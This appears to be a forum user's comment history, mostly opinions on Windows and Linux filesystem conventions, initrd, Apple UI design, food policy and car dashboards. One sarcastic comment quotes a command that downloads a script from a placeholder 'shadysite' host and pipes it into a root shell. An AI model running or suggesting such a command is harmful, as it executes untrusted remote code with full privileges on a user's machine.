990 karma · joined July 24, 2025
If I could get away with carrying a tiny device again instead of lugging around a brick I would, but the world has made it as inconvenient as possible not to.
A BlackBerry from 15 years ago weighed just over 100g and did 80% of what your modern-day pocket computer can.
We have automated the task of developers blindly executing
wget -qO - http://shadysite/foo.sh | sudo bash
It's a net win for everyone involved.
Malware writers and their targets alike, who, eager to install the latest fad library or framework would have voluntarily installed it anyway.
Meta but my first reaction was they hired laid off Apple.com developers to build this.
Maybe they're trying to channel the excitement people get from a new iPhone rollout toward healthy foods.
Most of which are loaded with crazy amounts of sugar to make them taste good.
Have you ever looked at the label on a cup of non-plain "Greek" yogurt? (Which is 90% of the yogurt aisle.)
I don't understand people freaking out over this - outside of a purely political reflex - hell hath no fury like taking away nerds' Mountain Dew and Flamin' Hot Cheetos.
Nor do I understand the negative reactions to new restrictions on SNAP - candy and sugary drinks are no longer eligible.
Almost certainly a soft hardware failure, likely the SSD.
I've run into a similar situation - except the culprit was Linux not Windows. Tossed the machine in a closet for a few months, when it miraculously started working again. Until it broke again a day and a half later. It's disk or RAM corruption.
Give it up dude, it's the hardware, but let not an opportunity to smash Microsoft go unfulfilled.
No, this is the fault of a company and industry with way too much money and not knowing what to do with it.
So they hired a bunch of artists who would otherwise be carving wood in a decrepit loft somewhere after taking half a mushroom cap. These people now decide how computers should operate.
I remember watching a documentary from the 80s where Susan Kare explained how every pixel in the Macintosh UI was deliberately put there to help the user in some way. One lady did the whole thing, the whole OS.
Now we have entire teams of people trying to turn your computer into an avant-garde art piece.
The Dock came from NeXtSTEP circa 1989. It had square edges and no Happy Mac. (So did Mail.app, TextEdit, some of the OS X Finder, and a whole bunch of other things.)
To the untrained eye it looks like an Apple innovation because most people couldn't afford NeXt computers unless you worked in a university or research lab.
I don't need or want art, eye candy, or animations. I need to get work done and the rest of the OS to stay tf out of my way.
It's also assumed that its contents can be safely restored from original sources, so Program Files is often not backed up - because it's wasteful and not needed.
Rogue developers thinking they know better than the people who actually designed the system and ignoring the rules put in place is the source of an untold number of problems in the software world. It's absolutely stupid and I have no empathy for the problems caused as a result of their laziness. This attitude is why modern Linux is a complete clusterfuck, a free-for-all with components duct taped together every which way. Do it right or don't do it at all.
But Windows XP, which came out in 2001, inherited everything from Windows 2000 and more, and was used extensively for gaming.
Sure it could be blamed on shitty distro maintenance and development but a better architecture would be putting essential things like filesystem drivers in /boot without this extra kludge of rebuilding an initrd (that you hopefully didn't forget to do before typing reboot) which depends on a pile of config files set just right (and oh by the way different in literally every distro).
You should never hardcode the path since it can and has moved around, though MS has implemented hard links to legacy paths because most developers are stupid and against persistent better advice do it anyway. I've seen multi-million dollar software packages whose vendor requires it to be writable by "Everyone".
Steam was first released in 2003, three years later.
For 80% of grievances about Windows, there is likely a solution in place that no one knows about because they didn't read the documentation.
Developers who knowingly reduce or disable default Windows security settings should be censured. Because in 99% of cases it is due to ignorance or plain laziness.
Not always (raise your hand if you've had an unbootable system due to a broken or insufficient initrd).
In retrospect, the whole concept of the initrd seems like an enormous kludge that was thrown together temporarily and became the permanent solution.
No reason this can't be done on Linux but since NT's security model is more flexible it's a lot easier to do so on Windows. You'd need to add dedicated users. (Running a Steam daemon as root would probably cause an uproar.)
That's a Linux-ism. Other *nix there is a lot more in /usr/local.
In reality /usr is similar to Windows' System32 directory on most Unicies.
/opt is really the only good place for Java and where I've been putting it for decades (old habits die hard).
There is no such thing as a Linux base system.
Separate components, separate people.
Hence the term Ganoo plus Leenox...
Since Linux has no concept of a base system, it's a stand-alone kernel with a hodgepodge of crap around it - this distinction makes no sense on Linux.
/opt is generally for software distros for which you don't have source; only binaries. Like commercial software packages. More common on Real UNIX(R) because most Linux users outside enterprise aren't running commercial software. You're putting your $500k EDA software under /opt.
To paraphrase LT, security bugs are important, but so are all the other bugs.
You imply they ever had a choice.
Companies like Tesla and Rivian pioneered the trend of bringing webshit-as-an-instrument cluster to the mainstream. Other car companies saw dollar signs, rode their coattails and immediately copied it.
What is a customer supposed to do? Buy a Mitsubishi Mirage? Build their own instrument cluster?